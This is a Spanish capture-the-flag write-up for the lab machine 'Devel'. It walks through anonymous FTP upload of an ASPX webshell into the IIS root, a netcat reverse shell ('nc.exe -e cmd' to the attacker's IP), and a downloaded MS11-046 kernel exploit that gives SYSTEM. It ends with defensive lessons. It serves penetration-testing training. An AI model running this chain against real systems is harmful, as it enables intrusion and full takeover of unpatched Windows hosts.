Devel
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. El FTP permite login anónimo y, además, escribe sobre el mismo directorio que sirve el IIS. Subiendo por FTP una webshell.aspxy pidiéndola por HTTP se consigue ejecución de comandos como el usuario del pool de IIS, y de ahí una reverse shell. El sistema es un Windows 7 build 7600 sin parchear: el exploit de kernel MS11-046 eleva directamente aNT AUTHORITY\SYSTEM.
Reconocimiento
Escaneo inicial
ping -c 1 10.10.10.5
64 bytes from 10.10.10.5: icmp_seq=1 ttl=127 time=105 msTTL 127 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 127 = 128−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.5
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 127
80/tcp open http syn-ack ttl 127Solo dos puertos abiertos, pero su combinación es exactamente el patrón clásico de esta máquina: FTP y un servidor web. El ttl 127 de la columna REASON repite lo que ya decía el ping, ahora sobre paquetes TCP.
extractPorts, una función del .zshrc, resume el fichero -oG y deja los puertos en el portapapeles para el escaneo dirigido:
extractPorts scan
Extracting information ...
IP Address: 10.10.10.5
Open ports: 21,80
Ports copied to clipboardnmap -p21,80 -sCV 10.10.10.5
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 02:06AM <DIR> aspnet_client
| 03-17-17 05:37PM 689 iisstart.htm
|_03-17-17 05:37PM 184946 welcome.png
80/tcp open http Microsoft IIS httpd 7.5
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
| http-methods:
|_ Potentially risky methods: TRACE
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsEl detalle decisivo lo da el propio nmap, y no hace falta ni conectarse: el FTP anónimo está permitido (FTP code 230) y el script ftp-anon aprovecha para listar la raíz. Ese listado muestra iisstart.htm y welcome.png, los ficheros por defecto de un IIS recién instalado, y un directorio aspnet_client. Es decir, el FTP no apunta a una carpeta cualquiera: apunta a la raíz web del IIS.
Esa coincidencia entre dos servicios distintos es la caja entera. Todo lo demás es confirmarla y explotarla.
TCP 80 - IIS 7.5
whatweb 10.10.10.5
http://10.10.10.5 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/7.5],
IP[10.10.10.5], Microsoft-IIS[7.5][Under Construction], Title[IIS7], X-Powered-By[ASP.NET]Dos datos que importan más de lo que parece. Microsoft-IIS[7.5][Under Construction] confirma que la web es la plantilla por defecto, sin aplicación desplegada. Y X-Powered-By[ASP.NET] dice que el servidor tiene el runtime de ASP.NET activo, no que solo sirva ficheros estáticos. Guardemos ese dato: es la diferencia entre subir un fichero que se descarga y subir uno que se ejecuta.
Wappalyzer llega a lo mismo desde el navegador:

Web frameworks: Microsoft ASP.NET
Web servers: IIS 7.5
Operating systems: Windows ServerEl código fuente de la portada no esconde nada:

<title>IIS7</title>
...
<div id="container">
<a href="http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409"><img src="welcome.png" alt="IIS7" width="571" height="411" /></a>
</div>Treinta y dos líneas, un div y una imagen. Ni comentarios, ni rutas ocultas, ni scripts. Y esa imagen es welcome.png, el mismo fichero que aparecía en el listado del FTP.
El fuzzing web no lleva a ninguna parte
Por rigor, un escaneo de rutas con dos herramientas y dos diccionarios distintos:
dirsearch -u http://10.10.10.5/ --exclude-status=403,404
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Wordlist size: 11460
[20:33:23] 301 - 155B - /aspnet_client -> http://10.10.10.5/aspnet_client/
[20:34:09] 500 - 3KB - /WebResource.axd?d=LER8t9aSgobuster dir -u http://10.10.10.5 -w directory-list-2.3-medium.txt -t 300 -b 404 -x html,png
/welcome.png (Status: 200) [Size: 184946]
/Welcome.png (Status: 200) [Size: 184946]
Progress: 661692 / 661695 (100.00%)661.695 peticiones para redescubrir la imagen que ya se veía en la portada. Este callejón sin salida merece contarse porque enseña dónde estaba de verdad la información: el aspnet_client de dirsearch ya salía en el listado del FTP, y el welcome.png de gobuster también. El diccionario más útil de esta máquina lo sirvió el propio FTP anónimo, gratis y completo, mientras que el fuzzing web tardó minutos en no aportar nada. Cuando un servicio te entrega un listado de directorio real, ese listado gana a cualquier wordlist.
TCP 21 - FTP anónimo
Conectamos a mano para confirmar lo que dijo nmap:
ftp 10.10.10.5 # usuario: anonymous, contraseña vacía
dir
220 Microsoft FTP Service
Name (10.10.10.5:krmena): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
03-18-17 02:06AM <DIR> aspnet_client
03-17-17 05:37PM 689 iisstart.htm
03-17-17 05:37PM 184946 welcome.png
226 Transfer complete.Descargamos welcome.png para comprobar que es exactamente la imagen que sirve la web. Es un fichero binario, así que antes hay que poner la sesión en modo binary: en modo ASCII (el de por defecto) el cliente traduce los saltos de línea y corrompe cualquier fichero que no sea texto.
binary
get welcome.png
display welcome.png
ftp> binary
200 Type set to I.
ftp> get welcome.png
226 Transfer complete.
184946 bytes received in 00:01 (97.59 KiB/s)Misma imagen, mismo tamaño (184946 bytes, el que reportaba gobuster para /welcome.png). El FTP y el IIS están viendo el mismo directorio: C:\inetpub\wwwroot.
Shell como IIS APPPOOL
Confirmar la escritura con un fichero inocuo
Leer no es escribir. Antes de subir nada peligroso, la hipótesis se valida con un fichero de texto que no haga nada:
echo "Fichero de ejemplo" > test.txt
ftp 10.10.10.5
put test.txt
ftp> put test.txt
local: test.txt remote: test.txt
226 Transfer complete.
20 bytes sent in 00:00 (0.06 KiB/s)El FTP anónimo no es de solo lectura: acepta STOR. Y el IIS lo sirve al instante:

http://10.10.10.5/test.txt
Fichero de ejemploLo que escribimos por FTP, el IIS lo sirve por web. Con el X-Powered-By: ASP.NET de antes, la consecuencia es inmediata: si en vez de un .txt subimos algo que el IIS interprete, tenemos ejecución de código. Este paso cuesta diez segundos y separa "creo que comparten directorio" de "sé que comparten directorio y que puedo escribir en él".
Subir una webshell .aspx
Kali trae webshells preparadas para casi cualquier tecnología. Localizamos una de ASP.NET y la subimos:
locate .aspx
cp /home/krmena/SecLists/Web-Shells/FuzzDB/cmd.aspx .
ftp 10.10.10.5
put cmd.aspx
ftp> put cmd.aspx
226 Transfer complete.
1442 bytes sent in 00:00 (4.85 KiB/s)http://10.10.10.5/cmd.aspx
Command: whoami
iis apppool\webwhoami devuelve iis apppool\web: ejecución de comandos en el contexto del pool de aplicaciones del IIS. Es una cuenta de servicio con privilegios mínimos, deliberadamente aislada, pero es un punto de apoyo dentro del sistema.
Localizar la ruta absoluta
Para el siguiente paso necesitamos saber dónde aterrizan los ficheros en el disco de la víctima, no solo su URL. La ruta por defecto del IIS es C:\inetpub\wwwroot, y la propia webshell lo confirma:
Command: dir C:\inetpub\wwwroot
Directory of C:\inetpub\wwwroot
07/09/2025 10:29 <DIR> .
18/03/2017 02:06 <DIR> aspnet_client
07/09/2025 10:00 1.442 cmd.aspx
17/03/2017 05:37 689 iisstart.htm
07/09/2025 10:29 28.306 nc.exe
07/09/2025 09:46 20 test.txt
17/03/2017 05:37 184.946 welcome.pngTodo lo que subimos por FTP está ahí: test.txt (20 bytes), cmd.aspx (1.442) y, junto a ellos, los ficheros originales de 2017. Ya podemos referirnos a nuestros binarios por ruta absoluta.
De RCE a reverse shell
El formulario de la webshell ejecuta un comando y devuelve su salida, pero no es una consola: no hay estado entre peticiones, ni cd, ni interactividad. Subimos netcat para Windows, que Kali ya trae:
find / -name nc.exe 2>/dev/null
cp /home/krmena/SecLists/Web-Shells/FuzzDB/nc.exe .
ftp 10.10.10.5
binary
put nc.exe
/home/krmena/SecLists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe
ftp> binary
200 Type set to I.
ftp> put nc.exe
226 Transfer complete.
28160 bytes sent in 00:00 (50.06 KiB/s)El binary vuelve a ser obligatorio, y aquí de forma crítica: un ejecutable subido en modo ASCII llega corrupto y falla sin explicación. Ahora lo lanzamos desde la webshell contra nuestro listener:
sudo rlwrap nc -nlvp 443C:\inetpub\wwwroot\nc.exe -e cmd 10.10.16.4 443
listening on [any] 443 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.5] 49174
Microsoft Windows [Version 6.1.7600]
c:\windows\system32\inetsrv>whoami
iis apppool\webConsola interactiva como iis apppool\web. Y en la primera línea, regalada, la versión de Windows: 6.1.7600. Ese número decide toda la escalada.
Automatizar la cadena
Toda la secuencia (subir cmd.aspx y nc.exe por FTP, disparar la petición HTTP y esperar la conexión) es mecánica, así que se deja escrita. La versión en Python usa ftplib para las subidas y requests para el POST, extrayendo antes con una expresión regular los campos __VIEWSTATE y __EVENTVALIDATION que ASP.NET exige en cada formulario:
python3 autopwn.py
[+] Trying to bind to :: on port 443: Done
[+] Waiting for connections on :::443: Got connection from ::ffff:10.10.10.5 on port 49182
[*] Switching to interactive mode
Microsoft Windows [Version 6.1.7600]
c:\windows\system32\inetsrv>whoami
iis apppool\webLa variante en Bash hace lo mismo con curl -T y un --data con los tokens ya codificados, y acepta los parámetros por línea de comandos:
./autopwn.sh anonymous 10.10.10.5 10.10.16.4 443
[*] Subiendo cmd.aspx...
[*] Subiendo nc.exe...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.5] 49165
c:\windows\system32\inetsrv>whoami
iis apppool\webLa versión en Bash es más frágil (los tokens de ASP.NET van fijos en el --data, así que caducan), pero sirve para ilustrar que ninguno de los dos scripts hace nada que no hayamos hecho ya a mano.
Shell como SYSTEM
Un Windows 7 sin parchear
El usuario del pool tiene privilegios mínimos, así que toca enumerar el sistema. systeminfo deja la respuesta a la vista:
systeminfo
Host Name: DEVEL
OS Name: Microsoft Windows 7 Enterprise
OS Version: 6.1.7600 N/A Build 7600
OS Configuration: Standalone Workstation
Registered Owner: babis
Original Install Date: 17/3/2017, 4:17:31
System Type: X86-based PC
Domain: HTB
Hotfix(s): N/A6.1.7600 Build 7600 es la release original de Windows 7, sin Service Pack. Y Hotfix(s): N/A lo remata: ni un parche instalado desde 2017. Un sistema así es terreno fértil para los exploits de kernel, que dependen exactamente de eso, de una versión concreta sin corregir.
De paso, Registered Owner: babis y System Type: X86-based PC son dos apuntes útiles: el primero da el nombre del usuario cuyo escritorio guardará la flag, y el segundo obliga a elegir un binario de 32 bits para el exploit.
MS11-046: escalada por kernel
Que la versión sea vulnerable no hay que intuirlo: la propia cadena del systeminfo es la consulta. Con 6.1.7600 N/A Build 7600 privilege scalation (con la errata y todo, el buscador la corrige solo), el primer resultado ya es la ficha de Exploit-DB del fallo:

Exploit DB - https://www.exploit-db.com/ex...
'afd.sys' Local Privilege Escalation (MS11-046)
18 oct 2016 - Microsoft Windows (x86) - 'afd.sys' Local Privilege Escalation (MS11-046).
CVE-2011-1249 CVE-MS11-046 . local exploit for Windows_x86 ...Exploit-DB da el código fuente en C, pero compilar un exploit de kernel de 2011 en un Kali moderno es una pelea aparte. Lo práctico es buscar el binario ya compilado, y el repositorio de referencia para esto es la colección de windows-kernel-exploits:

GitHub - https://github.com/yifengyou ...
yifengyou/windows-kernel-exploits
Contribute to yifengyou/windows-kernel-exploits development by creating an account on GitHub.El repositorio es un directorio por boletín de Microsoft, y el de MS11-046 trae el fuente, el .exe compilado y hasta la captura de la prueba en un Windows 7:

windows-kernel-exploits / MS11-046 /
CVE-2011-1249.c
MS11_46_k8.exe
README.md
ms11-046.exe
win7.pngDe ahí sale el ms11-046.exe de la descarga siguiente. Merece la pena entender qué es lo que se está ejecutando: MS11-046 es una vulnerabilidad en el Ancillary Function Driver (afd.sys), el controlador que da soporte a los sockets de Winsock. Un proceso sin privilegios puede provocar en él una escritura fuera de rango y acabar ejecutando código en el kernel, es decir, como SYSTEM. Es un exploit de kernel con binario precompilado público.
Lo descargamos y montamos un recurso SMB para pasárselo a la víctima. Es más cómodo que un servidor HTTP porque Windows monta el recurso de forma nativa, sin necesitar certutil ni PowerShell:
wget https://raw.githubusercontent.com/yifengyou/windows-kernel-exploits/master/MS11-046/ms11-046.exe -O ms11-046.exe
smbserver.py smbFolder $(pwd) -smb2support -username kmn9 -password kmn9123
ms11-046.exe 100%[===================>] 110.17K --.-KB/s in 0.008s
2025-09-08 01:50:14 (13.4 MB/s) - 'ms11-046.exe' saved [112815/112815]
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsedEl -smb2support y las credenciales no son un adorno: Windows 7 se niega a montar recursos SMB anónimos en muchas configuraciones, así que se le da un usuario y contraseña cualesquiera. Desde la reverse shell, montamos y ejecutamos en un directorio con permiso de escritura:
net use \\10.10.16.4\smbFolder /u:kmn9 kmn9123
cd C:\Windows\Temp
mkdir prvesc
cd prvesc
copy \\10.10.16.4\smbFolder\ms11-046.exe
.\ms11-046.exe
whoami
C:\Windows\Temp\prvesc>copy \\10.10.16.4\smbFolder\ms11-046.exe
1 file(s) copied.
C:\Windows\Temp\prvesc>.\ms11-046.exe
C:\Windows\System32>whoami
nt authority\systemEl binario abre una consola nueva ya con el token de SYSTEM, y el propio prompt lo delata al saltar a C:\Windows\System32. whoami devuelve nt authority\system, el máximo privilegio local. Con ese contexto no hay ficheros vedados:

C:\Users\babis\Desktop\user.txt
104b8b925f7b1e01e158a5cb2697deab
C:\Users\Administrator\Desktop\root.txt
9d3798d4d4ad1cb380339efe158edff1Cadena de ataque
nmap: ftp-anon (código 230) lista iisstart.htm y welcome.png
│ el listado del FTP == la raíz del IIS (C:\inetpub\wwwroot)
▼
put test.txt por FTP -> http://10.10.10.5/test.txt (escritura confirmada)
│ whatweb: X-Powered-By ASP.NET -> el IIS interpreta .aspx
▼
put cmd.aspx -> webshell -> RCE como iis apppool\web
│ put nc.exe (modo binary) + C:\inetpub\wwwroot\nc.exe -e cmd
▼
reverse shell -> Microsoft Windows [Version 6.1.7600]
│ systeminfo: Hotfix(s) N/A
▼
exploit de kernel MS11-046 (afd.sys) -> NT AUTHORITY\SYSTEM -> ambas flagsLecciones aprendidas
- El riesgo nace de la combinación, no del servicio aislado. Un FTP anónimo de solo lectura sería ruido, y un IIS con la página por defecto también. Un FTP anónimo con escritura sobre la raíz de un servidor que interpreta
.aspxes ejecución de código directa. Lo que hay que auditar es cómo se relacionan los servicios, no cada uno por su cuenta. - Un listado de directorio real vale más que cualquier diccionario.
gobusterlanzó 661.695 peticiones para encontrar elwelcome.pngque elftp-anondenmapya había listado en el primer escaneo. Antes de fuzzear a ciegas conviene agotar lo que los servicios entregan por sí solos. - Validar la hipótesis con un fichero inocuo. Un
test.txtde 20 bytes confirmó escritura y publicación web antes de tocar nada peligroso. Probar primero lo barato ahorra ruido, tiempo y sustos. - El modo
binarydel FTP no es opcional. Subir un.exeo un.pngen modo ASCII lo corrompe en silencio, y el fallo posterior no se parece en nada a su causa. - Las builds sin parchear son un regalo.
6.1.7600conHotfix(s): N/Aes la diana perfecta de un exploit de kernel. En un Windows antiguo,systeminfoy la lista de KB son el primer sitio donde mirar, y muchas veces el único que hace falta. - Defensa en profundidad. Deshabilitar el login anónimo, separar el directorio FTP de la raíz web, prohibir la ejecución de scripts en carpetas de subida y, sobre todo, parchear, habrían cortado cada eslabón de esta cadena por separado.